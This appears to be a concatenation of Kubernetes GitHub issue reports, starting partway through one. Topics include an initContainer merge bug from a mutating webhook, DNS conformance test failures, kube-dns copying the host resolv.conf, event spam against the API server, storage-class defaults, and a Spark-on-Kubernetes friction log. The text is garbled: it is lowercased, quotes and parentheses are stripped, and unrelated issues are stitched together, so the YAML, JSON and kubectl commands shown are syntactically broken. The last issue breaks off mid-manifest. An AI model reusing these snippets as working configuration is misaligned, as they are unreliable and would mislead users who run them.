k8s-dns-sidecar-amd64:1.14.10\r k8s-dns-dnsmasq-nanny-amd64:1.14.10\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r i am using a mutatingwebhook to decorate incoming deployments and statefulsets with containers, initcontainers and volumes. the deployments and statefulsets are part of helm charts.\r \r i have a specific constraint in that one of the initcontainers, let's call it init-container-injected that my mutatingwebhook is injecting must be the first one in the list, so that it is the first one that runs. this means that if the original deployment has some initcontainers in the list  let's assume it has init-container-1 , the mutatingwebhook has to replace the whole list of initcontainers with a new one that has the following order: \r \r 1. init-container-injected\r 2. init-container-1\r \r however, everything works fine, except when init-container-1 has custom commands and args, but init-container-injected does not have a custom command or args defined. in this situation after the mutatingwebhook does its job, i am seeing a weird resulting list of containers: the command and args from init-container-1 are merged with init-container-injected, so that now init-container-injected has the command and args of init-container-1 as follows:\r \r 1. init-container-injected  with command and args from init-container-1 \r 2. init-container-1  with the right command and args \r \r example of  init-container-injected that has to be injected by the mutatingwebhook:\r         \r             - name: init-container-injected\r               image: \ <path-to-image>\ \r    \r \r example of  init-container-1 that is present on the deployment and has a custom command and args:\r          \r             - name: init-container-1\r               image: \ <path-to-image>\ \r               command:  \ printenv\  \r               args:  \ hostname\ , \ kubernetes_port\  \r    \r \r after my deployment is installed in the kubernetes cluster  and the mutatingwebhook intercepted it , its initcontainers looks like follows:\r        \r             - name: init-container-injected  this is inserted by the mutatingwebhook and it needs to be the first one in the list\r               image: \ <path-to-image>\r               command:  \ printenv\     this is the command from init-container-1 and it shouldn't be here\r               args:  \ hostname\ , \ kubernetes_port\     these are the args from init-container-1 and it shouldn't be here\r             - name: init-container-1\r               image: \ <path-to-image>\ \r               command:  \ printenv\  \r               args:  \ hostname\ , \ kubernetes_port\  \r    \r \r   what you expected to happen  :\r i would expect that my initcontainers list would have the following format:\r \r 1. init-container-injected  with no command or args \r 2. init-container-1  with the right command and args \r \r more explicit list of initcontainers that i expect on my deployment:\r        \r             - name: init-container-injected\r               image: \ <path-to-image>\r             - name: init-container-1\r               image: \ <path-to-image>\ \r               command:  \ printenv\  \r               args:  \ hostname\ , \ kubernetes_port\  \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r using a mutatingwebhook that intercepts deployments and statefulsets and decorates them with a initcontainer that needs to be the first one in the list and it has no command or args defined, try to deploy a deployment or a statefulset that has one init container with a custom command and some args.  \r \r   anything else we need to know?  :\r it was reproducible in kubernetes 1.9.11, 1.9.10, but it was working as expected in 1.9.7 and 1.9.8\r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.11\ , gitcommit:\ 1bfeeb6f212135a22dc787b73e1980e5bccef13d\ , gittreestate:\ clean\ , builddate:\ 2018-09-28t21:35:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i deployed kubernetes v1.11.5 and v1.13.0 using kubespray.\r \r after doing this, i ran conformance tests using  heptio's kube-conformance image  https://console.cloud.google.com/gcr/images/heptio-images/global/kube-conformance   v1.11 and v1.13, respectively.\r \r when i ran the conformance tests, the following two test cases failed after a 10 minute timeout period:\r \r   https://github.com/kubernetes/kubernetes/blob/5818be6205c38936e1218609e29e524a9e35e063/test/e2e/network/dns.go l44\r   https://github.com/kubernetes/kubernetes/blob/5818be6205c38936e1218609e29e524a9e35e063/test/e2e/network/dns.go l75\r \r the failure output looks like the following:\r    \r todo:  accidentally deleted my previously-saved test results \r    \r \r i believe that the problem is here:\r   https://github.com/kubernetes/kubernetes/blob/56e88f5b47da3dfc0a95e0bc9be6a0c6c3275345/test/e2e/network/dns_common.go l515-l522\r \r the reason i believe this to be the problem is that it looks like that request builder is not adding a query parameter to specify the container from which to retrieve test results even though there are three containers running in the dns test pod:\r   https://github.com/kubernetes/kubernetes/blob/5818be6205c38936e1218609e29e524a9e35e063/test/e2e/network/dns_common.go l397-l437\r \r it seems like whenever this test is passing it is accidentally retrieving results from one of the correct containers and whenever it is failing it is attempting to retrieve results from the  webserver  container.\r \r i could be off on that assessment, but that is the conclusion i came to after  kubectl exec ing into the containers at run time and saw that only the  querier  and  jessie-querier  containers actually contain results from the test script  and all the dns queries were successful in each of those two containers .\r \r   what you expected to happen  :\r i expected the tests to pass since i have run them in the past against clusters provisioned with tectonic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm not sure if you can reproduce it reliably, but it looks like maybe this has happened in kubernetes ci in the past:\r \r   https://github.com/kubernetes/kubernetes/issues/66771\r \r it looks like ci went green in that case without anyone doing anything.\r \r   anything else we need to know?  :\r nice issue template.\r \r   environment  :\r - v1.11.5 and v1.13.0\r - openstack\r - container linux, latest stable\r - not sure\r - install tools: custom not-yet-public golang wrapper around kubespray's openstack terraform modules and ansible playbooks.\r

while getting the runtime abstraction we've cut some corners and are left with a bit of a mess when it comes to the dependencies of the runtime in the kubelet. we should set aside some time to smooth out the dependency graph for this.  /cc @yujuhong @dchen1107 @yifan-gu

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r pull-kubernetes-e2e-gce-100-performance\r \r   which test s  are failing  :\r clusterloaderv2 \r \r   since when has it been failing  :\r it has been consistently failing since 6:55 pdt today.\r \r   testgrid link  :\r https://testgrid.k8s.io/presubmits-kubernetes-blocking pull-kubernetes-e2e-gce-100-performance&width=90\r \r   reason for failure  :\r  from spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce-100-performance/1128678861077221376  the reason being listed is \r    \r error during /go/src/k8s.io/perf-tests/run-e2e.sh cluster-loader2 --nodes=100 --provider=gce --report-dir=/workspace/_artifacts --testconfig=testing/density/config.yaml --testconfig=testing/load/config.yaml --testoverrides=./testing/density/100_nodes/override.yaml: exit status 1\r    \r \r before this happens, this other thing happens:\r    \r f0515 15:51:08.325125 82020 clusterloader.go:233  error while setting up prometheus stack: timed out waiting for the condition\r    \r \r  / /milestone v1.15\r /cc @kubernetes/sig-scalability-test-failures \r /cc @jimangel @smourapina @rarchk @alenkacz

we have unit tests  kubelet_test.go, etc . and we have system-level integration and e2e tests that include master and kubelet. but we don't have anything in between.  not having a medium sized option may result in insidious test-writing.  for example: - tests that should be medium scale may end up getting written as unit tests against functions that really ought to be private.  so they end up being refactoring-detectors more than tests.   - if the same test is written in large scale  integration and e2e , then it inevitably has more baggage and may become a false alarm when something other than kubelet breaks.  other reasons: - needed if we are to make kubelet a stand-alone project   1599  - best way to test things like kubelet flags, local config sources, etc.  one possible approach: - shell functions to create a \ standard\  vm, and start pre-reqs like etcd, cadvisor in a \ standard\  fashion. - shell functions to run kubelet with specific flags and config files. - assorted shell functions to check expectations - shell functions to write boundpods into etcd to simulate messages from the master

the new clients exp. backoff functionality is now merged, but , needs to be evaluated on a cluster, to make sure that  when configured  it is actually backing off the way we expect it to. - measure how many requests are created when etcd goes down  thundering herd  without the exponential backoff policy. - does the \ thundering herd\  of requests back down when we trigger a backoff policy w/ > 0 seconds base? - if not, move backoff to client scope, and redo this experiment.  to close this issue we should attach evidence that the backoff is working the way we want it to in chaos scenarios we are concerned about. this may require updating the backoff to act at a more global scope  doing so is a very minor modification to rest_client.go .  cc @krousey @timothysc

currently to enable  batch/v2alpha1  support i've hard-coded this in several places: - https://github.com/kubernetes/kubernetes/blob/75e09a892f075a35a627d3eca2a8c4a87c34f77c/hack/e2e.go l265 - https://github.com/kubernetes/kubernetes/blob/75e09a892f075a35a627d3eca2a8c4a87c34f77c/cmd/kube-apiserver/app/server.go l151 - https://github.com/kubernetes/kubernetes/blob/75e09a892f075a35a627d3eca2a8c4a87c34f77c/cmd/kube-controller-manager/app/controllermanager.go l408  to name a few. additionally in tests there are several places where we exclude  batch/v2alpha1  explicitly from tests because of other problems.  with that in mind the multiversion support in k8s is not at a point where it's easy to add new versions  see above list .   cc @@kubernetes/sig-api-machinery @deads2k  fyi @janetkuo @erictune

steps to repro:\r   fedkubectl create -f myns.yaml\r   fedkubectl create -f rs.yaml\r   fedkubectl delete ns myns\r \r expected:\r namespace myns and all resources in that namespace including the replicaset should be deleted from federation control plane\r \r actual:\r while the namespace is deleted fine, the replicaset remains. \r \r notes:\r replicaset has deletiontimestamp set which means it was marked for deletion.\r replicaset goes away as soon as the namespace is recreated.\r my guess is that replicaset is marked for deletion but the actual delete request fails since the ns is deleted before rs is deleted. that delete request succeeds as soon as the ns is recreated.\r \r cc @kshafiee @kubernetes/sig-federation-misc

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress-release-1.5/1006/  failed:  k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  slow   feature: ingress  should conform to ingress spec {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress.go:109 dec 10 06:44:30.327: l7 controller failed to delete all cloud resources on time. timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ingress_utils.go:341       previous issues for this test:  35549

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kube-dns resolv.conf\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.3\r \r   environment  : ubuntu 17.04\r -   cloud provider or hardware configuration  : baremetal i7 pc, 16gb\r -   os    e.g. from /etc/os-release : ubuntu 17.04\r \r -   kernel    e.g.  uname -a  :4.10.0-21-generic\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r \r after installing on baremetal ubuntu 17.04  my desktop , kube-dns not working\r \r   what you expected to happen  :\r \r dns should work\r \r   how to reproduce it    as minimally and precisely as possible :\r \r follow the kubeadm install steps on ubuntu 17.04\r \r   anything else we need to know  :\r \r as far as i was able to track down  and temporarily solve , my ubuntu desktop has an  /etc/resolv.conf  file that is autogenerated to look like this:\r    \r   dynamic resolv.conf 5  file for glibc resolver 3  generated by resolvconf 8 \r       do not edit this file by hand -- your changes will be overwritten\r   127.0.0.53 is the systemd-resolved stub resolver.\r   run \ systemd-resolve --status\  to see details about the actual nameservers.\r \r nameserver 127.0.0.53\r \r    \r when kube-dns starts, the dnsmasq container somehow ignores the  --dns  options given to the docker daemon, and instead copies my desktop's  /etc/resolv.conf  file.\r \r obviously, 127.0.0.35 doesn't work inside the pods.  it should never have been used in the first place.  there's a reason why docker daemon has  --dns  command line options.  these options should be used.  docker does the right thing, don't override it.\r

go's standard  reverseproxy  https://golang.org/pkg/net/http/httputil/ reverseproxy  removes a bunch of hop-by-hop headers in  servehttp , per http://www.w3.org/protocols/rfc2616/rfc2616-sec13.html\r \r we should clone this logic in the upgrade proxy path of   upgradeawareproxyhandler   https://github.com/kubernetes/kubernetes/blob/ee9bab111196565288705e44a9000d6f7bad8d87/staging/src/k8s.io/apiserver/pkg/registry/generic/rest/proxy.go l137  and   proxyhandler   https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/proxy.go l223 .   and while we're at it, can we de-duplicate some of that code? \r \r /cc @kubernetes/sig-api-machinery-bugs @liggitt @lavalamp

is this a bug report or feature request?  \r bug\r \r   kubernetes version    use  kubectl version  :\r kubernetes/master\r \r   environment  :\r n/a\r \r   what happened  :\r events were co-located in api server etcd\r \r the controller-manager and node are spamming the node for different reasons and driving an excessive amount of traffic to our api-server.  this caused etcd snapshots to occur every 13s even with a 20k snapshot interval set.\r \r the controller-manager can produce this problem in a simple manner by defining quota to 1 pod, and creating a replica-set whose target is 1000.  the replica set is burst in steps of 500 and each failed create is sent as a unique event.  in a short period of time, you get ~1300 patch event requests.  over enough replica-sets, this adds up.\r \r the node is also prone to spam the server in the event of syncfailed events.  for example, we had a pod that was in crash loop backoff for 3ds, and we got 21k failedsync events.  over enough pods, this adds up.\r \r   what you expected to happen  :\r the event recorder should protect against spam like this.\r the replication controller should attempt burst in stages  1, 2, 3, 5, ... .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r $ curl metric | grep apiserver_request_latencies_summary_count | grep events\r apiserver_request_latencies_summary_count{resource=\ events\ ,subresource=\ \ ,verb=\ patch\ } 11\r apiserver_request_latencies_summary_count{resource=\ events\ ,subresource=\ \ ,verb=\ post\ } 33\r $ kubectl create quota quota --hard=pods=1\r $ kubectl run nginx --image=nginx --replicas=100\r ... wait a minute ...\r $ curl metric | grep apiserver_request_latencies_summary_count | grep events\r apiserver_request_latencies_summary_count{resource=\ events\ ,subresource=\ \ ,verb=\ patch\ } 1300\r    \r \r i have a patch prepared that adds client side spam protection in the event recorder.\r \r    \r apiserver_request_latencies_summary_count{resource=\ events\ ,subresource=\ \ ,verb=\ patch\ } 20\r    \r \r   anything else we need to know  :\r nope.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r as reported in https://github.com/homebrew/homebrew-core/pull/16507, the kubectl zsh autocompletion isn't autoloaded on it's first tab due to the way the function is written. \r \r adding a   compdef kubectl  line to the start and a  _complete kubectl  to the end fixes this problem

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r what happened: tiller  installation entity  user is requesting k8s api to create pod but that pod's chart refers to service account token of tiller  installation entity  itself in its chart. when i am reviewing the code of below file when we are reading service account token in this method getserviceaccount and we are not checking that service account requested by user in chart is the service account token of tiller user itself. we can argue that this issue is tiller issue but i think we should check in admission plugin that user which is requesting installation of pod cannot refer to its service account token. \r \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/serviceaccount/admission.go \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r not able to change the default storage class. \r   what you expected to happen  :\r default storage class to change. \r   how to reproduce it  as minimally and precisely as possible   :\r ~~~\r $ kubectl patch storageclass standard -p '{\ metadata\ : {\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ false\ }}}'\r storageclass \ standard\  patched\r \r $ kubectl describe sc standard\r name:            standard\r isdefaultclass:  no\r annotations:     kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ storage.k8s.io/v1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ },\ labels\ :{\ addonmanager.kubernetes.io/mode\ :\ reconcile\ },\ name\ :\ standard\ ,\ namespace\ :\ \ },\ provisioner\ :\ k8s.io/minikube-hostpath\ }\r ,storageclass.beta.kubernetes.io/is-default-class=false\r provisioner:        k8s.io/minikube-hostpath\r parameters:         <none>\r reclaimpolicy:      delete\r volumebindingmode:  immediate\r events:             <none>\r \r $ kubectl get sc\r name                        provisioner                age\r rook-ceph-block  default    ceph.rook.io/block         14h\r standard                    k8s.io/minikube-hostpath   14h\r ~~~\r but after few mins.\r ~~~\r $ kubectl get sc --watch\r name                        provisioner                age\r rook-ceph-block  default    ceph.rook.io/block         14h\r standard                    k8s.io/minikube-hostpath   14h\r standard  default    k8s.io/minikube-hostpath   14h \r \r $ kubectl get sc\r name                        provisioner                age\r rook-ceph-block  default    ceph.rook.io/block         14h\r standard  default           k8s.io/minikube-hostpath   14h\r \r $ kubectl describe sc rook-ceph-block\r name:               rook-ceph-block\r isdefaultclass:     yes\r annotations:        storageclass.beta.kubernetes.io/is-default-class=true\r provisioner:        ceph.rook.io/block\r parameters:         clusternamespace=rook-ceph,pool=replicapool\r reclaimpolicy:      delete\r volumebindingmode:  immediate\r events:             <none>\r ~~~\r   anything else we need to know?  :\r tried to remove the annotation but no luck.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r ~~~\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:59:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : buildroot 2018.05\r - kernel  e.g.  uname -a  : 4.16.14\r - install tools: minikube\r - others: \r

• failure in spec teardown  aftereach   329.093 seconds \r  sig-scalability  load capacity\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/framework.go:22\r    feature:performance  should be able to handle 30 pods per node { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons  aftereach \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:221\r \r   there should be no high-latency requests\r   expected\r       <int>: 1\r   not to be >\r       <int>: 0\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:120\r ------------------------------\r /area test\r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i got one link from  kubectl patch --help  but link is not working\r error:\r    \r error: cannot load https://raw.githubusercontent.com/kubernetes/kubernetes/head/docs/api-reference/v1/definitions.html: 404 not found\r    \r \r https://htmlpreview.github.io/?https://github.com/kubernetes/kubernetes/blob/head/docs/api-reference/v1/definitions.html\r    \r $ kubectl patch --help\r update field s  of a resource using strategic merge patch, a json merge patch, or a json patch. \r \r json and yaml formats are accepted. \r \r please refer to the models in\r https://htmlpreview.github.io/?https://github.com/kubernetes/kubernetes/blob/head/docs/api-reference/v1/definitions.html\r to find if a field is mutable.\r \r examples:\r     partially update a node using a strategic merge patch. specify the patch as json.\r   kubectl patch node k8s-node-1 -p '{\ spec\ :{\ unschedulable\ :true}}'\r   \r     partially update a node using a strategic merge patch. specify the patch as yaml.\r   kubectl patch node k8s-node-1 -p $'spec:\  unschedulable: true'\r   \r     partially update a node identified by the type and name specified in \ node.json\  using strategic merge patch.\r   kubectl patch -f node.json -p '{\ spec\ :{\ unschedulable\ :true}}'\r   \r     update a container's image; spec.containers   .name is required because it's a merge key.\r   kubectl patch pod valid-pod -p '{\ spec\ :{\ containers\ : {\ name\ :\ kubernetes-serve-hostname\ ,\ image\ :\ new image\ } }}'\r   \r     update a container's image using a json patch with positional arrays.\r   kubectl patch pod valid-pod --type='json' -p=' {\ op\ : \ replace\ , \ path\ : \ /spec/containers/0/image\ , \ value\ :\ new\r image\ } '\r    \r \r   what you expected to happen  :\r \r it need to show some info!!\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

test/e2e/restart.go, func restartnodes, assumes that mig rolling update on gce will cause node restart.  however, there is a feature of mig rolling update  currently broken  that skips update if the new instance template is the same as the old one. the feature is supposed to work quite soon, so the test will not test anything  reboot will not be performed .  a workaround may be to create an identical instance template with a different name.  by the way, the current name  restartnodes  is misleading. it should be  recreatenodes .  cc @mbforbes @quinton-hoole

i have  16320/ 16498 out to bring spark up to existing standards for our examples. this bug is both a friction log of things i ran into while working on that pr, and a set of anticipated issues with spark.  i organized this into two sections, spark-specific-ish and kubernetes-general. some of these bullets have open issues and i'm documenting them as part of the vertical slice involved.    please   feel free to correct me if i messed something up obvious about spark or kubernetes. i was a former spark user in a bygone era, but it's moved quite quickly since then so any expertise has rusted.    spark specific -  x    where?  :  17027 talks about whether this even belongs in  examples/ , since it works over multiple versions, and isn't a _teaching_ example. -       config  :  16320 puts up a static configuration of spark.  the spark configuration alone  http://spark.apache.org/docs/latest/configuration.html  is pretty large, and that's not including  the hadoop configuration  https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/clustersetup.html  that also influences it. it's difficult to say what a customer would actually want to tune in production, but it's clear that treating spark as a fully black-box is probably wrong  but has legs for a while . don't get me wrong, it's not unreasonable to offer an out-of-the-box configuration that just works, but we're going to need a way to inload configuration. in this case, the container is also going to need to compose configuration with the configuration that \ just works\   i.e. as a simple example, if we took in a secret for additional  spark-defaults.conf , we should probably just splat the existing configuration together, or compose them to allow the additional config to override kvs in the base image . see  6477,  4822. -       jar files  : we're going to need a way to quickly compose base images and other modules. see  831. -       parameterized resources  : it's not clear how to merge  spark  ../tree/master/examples/spark  and  spark-gluster  ../tree/master/examples/spark/spark-gluster . the long term answer is probably things like  10527,  11492, etc. short term, one option might be to assume that you have _some_ storage available that can be mounted as  readwritemany  and instead of assuming gluster, we rewrite the example as either gluster or nfs and use a pv claim. but that's not the only example of a resource that needs to be parameterized / templatized in some fashion. -       pod local storage  : the existing example doesn't override  spark_local_dirs , so it's only useful for certain workloads, namely in-memory only workloads. this used to be the bread-and-butter of spark because it was all it could do, but it proved rather limiting not to spill. however, using network or distributed storage for spark intermediate storage is somewhat naive, but is the most convenient way on our system to configure a replicationcontroller for storage. but, for the short term, given that the replication controller itself is  <n>  wide, for anyone in gce we could add a script to this directory to provision a set of  <n>  volumes and use a claim to resolve it. -       storage testing  : spark doesn't necessarily need storage that will outlive the life of the pod  if you blow away a worker on a running job it will recompute the rdd around it, as you'd expect, since storage within spark is largely annotated caching with  .persist    and shuffle-spill, both of which are losable . the pod case is different than e.g.  netflix's chaos monkey with spark  http://techblog.netflix.com/2015/03/can-spark-streaming-survive-chaos-monkey.html  tests, though, because the pod comes back with a different name. -       scheduling  : i kept spark configured in standalone mode with a fixed width replicationcontroller for the worker pool. there's a lot of really long, interesting conversations to have how to handle this correctly. mesos does a lot here with fine-grained scheduling to pick up slack capacity on the cluster, yarn integrates slightly differently, we could still take yet another.  obviously a large tbd bullet.  -       resiliency  : i put some basic liveness probes on the master/workers, but there's some obvious stuff missing:  a  the master either needs to be running in  filesystem  mode  easiest  or  b  in multi-master backed by zookeeper  hardest  in order to withstand a restart with a running application. similarly, the driver pod itself isn't protect at all right now, but before we protect that, we just want to look at the driver mode, how we want to support spark app submission in the cluster, and the zeppelin bullet below. -       test  : if we actually want to productionize an app, we really should have tests of some sort. -  x    zeppelin  : we should definitely get  zeppelin  https://zeppelin.incubator.apache.org/  working. i morphed the current example into an example familiar to googlers, a shakespeare word count example, but it's using the pyspark driver and lacks \ pop\ . -       spark ui  : the spark webui worker links won't work because they're cluster ips. spark presents it's worker ips as if they're globally accessible, not anticipating that we're proxying the connection to the master's webui  which seems like an utterly sane . we could obviously proxy all of the worker webuis as well, but spark doesn't seem to support a url-rewrite scheme for the master webui page, so we'd probably have to slap an nginx proxy in front of it.  see  16949 for one way to maybe solve it.     kubernetes general -       pod hostname/service mismatch  : during the conversion from a  spark-master  pod to a  spark-master  single-pod-replication-controller, the spark master objected to the slaves because the master started with a hostname that didn't match the service name the slaves were contacting it on. in this case, the slaves connected to the dns  spark-master , and  spark-master  saw messages for  spark-master  and said \ nope, that ain't me, i'm  spark-master-a1b2d3 , you must have me confused for someone else\ .  c.f.  386  -       environment variable injection issues  : if you're not actually using the service environment variables, injection can actually throw you off when an environment variable from docker or kubernetes overrides something that a vendor script was expecting. for example, i had a service named  spark-master , which resulted in  spark_master_port , which is an environment variable that the spark  start-master.sh  script will happily pick up. unfortunately, the script was expecting a single integer, not  tcp://<ip>:7070 . it would be nice if there was a way to disable service env variable injection. see  1768  which seems to cover that possibility, maybe . -       best practices friction  :  config best practices  ../tree/fe6b15ba/docs/user-guide/config-best-practices.md  is at odds with  how we test examples currently  ../tree/fe6b15ba/examples/examples_test.go : the resources probably belong in the same file, but i didn't do it that way because of the example schema test. see  16444, just filed. -       slow dev iteration  : this was probably the longest i've spent iterating on an ensemble of docker containers, and i found it somewhat painful  until i automated it slightly  to bump the tag in the makefile, bumping it in the  .yamls , etc. our best practices seem to suggest using image hardcoded tags  which make sense , and i probably would've scripted it further if i had to go much longer. the process itself before presenting a pr is interesting because prior to a pr you basically end up \ hiding\  the entire thing on a private project, then you end up displaying one \ bump\  to the world. do we have any issues discussing how to iterate on \ the package\   the set of  .yaml , dockerfiles, etc. ? as we get anyhere near packaging, that's going to be one killer feature - the ability to rapidly iterate on actually developing package blobs for k8s  the resources and images both .  cc @davidopp @timstclair @timothysc @wattsteve

i set up an aws cluster on wily last night, and this morning i can't ssh into the master, and the api is not responding either.  it looks to me like a memory overflow. i have the master on t2.micro, which might be too small.   maybe we should install the \ swapspace\  package in the setup script? this way even if the server has a small amount of memory it won't run out.

there are tests  e,g. gce-etcd3  which are required by submit-queue, but not marked as such on github.\r \r this causes confusion and should be eliminated.\r \r @fejta @kubernetes/test-infra-maintainers

it should be possible to run the suite against a single node cluster  like mini-kube  and tests that cannot run because of certain requirements should skip themselves.  we do this for providers and other feature flag dependent tests, but not for some of the scheduler predicate tests.\r \r in particular,  scheduler_predicates.go  has several that fail on single node tests, including  \t validates that interpodantiaffinity is respected if matching 2 .\r \r we should do a pass and add conditions for those.

feature request  \r \r description:\r \r when provisioning k8s nodes in azure using the --cloud-provider flag, we seem to be getting the following labels\r \r    \r labels:            beta.kubernetes.io/arch=amd64\r             beta.kubernetes.io/instance-type=standard_d5_v2\r             beta.kubernetes.io/os=linux\r             failure-domain.beta.kubernetes.io/region=westus\r             failure-domain.beta.kubernetes.io/zone=2\r    \r \r since azure has its own labeling concept at the vm level, called tags. it would make sense to have those visible as k8s node labels as well. this would allow the different application to properly use the azure tags defined by the cluster administrator to assigned their service on specific nodes. \r \r   environment:  \r \r  cloud provider or hardware configuration : azure\r  os  e.g. from /etc/os-release  : centos 7.3\r  install tools : inhouse  salt based \r \r cc:\r @colemickens\r @seb-solon

\r   what keywords did you search in kubernetes issues before filing this one?  :\r \r mysql-wordpress-pd\r \r ---\r \r    bug report:   \r \r   kubernetes version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider  : aws\r \r installed with kops\r \r   what happened  :\r \r followed the mysql-wordpress-pd example.\r instead of the volumes created where used, new ones got created on volume claim.\r \r   what you expected to happen  :\r \r created volumes should have been claimed.\r \r   how to reproduce it  :\r \r kubectl create -f local-volumes.yaml\r kubectl create -f mysql-deployment.yaml\r \r   anything else we need to know  :\r \r after adding annotation 'volume.beta.kubernetes.io/storage-class: \ \ '  in mysql-deployment.yaml made it working as expected.\r \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mysql-pv-claim\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ \ \r   labels:\r     app: wordpress\r     type: local\r spec:\r   accessmodes:\r     - readwriteonce\r   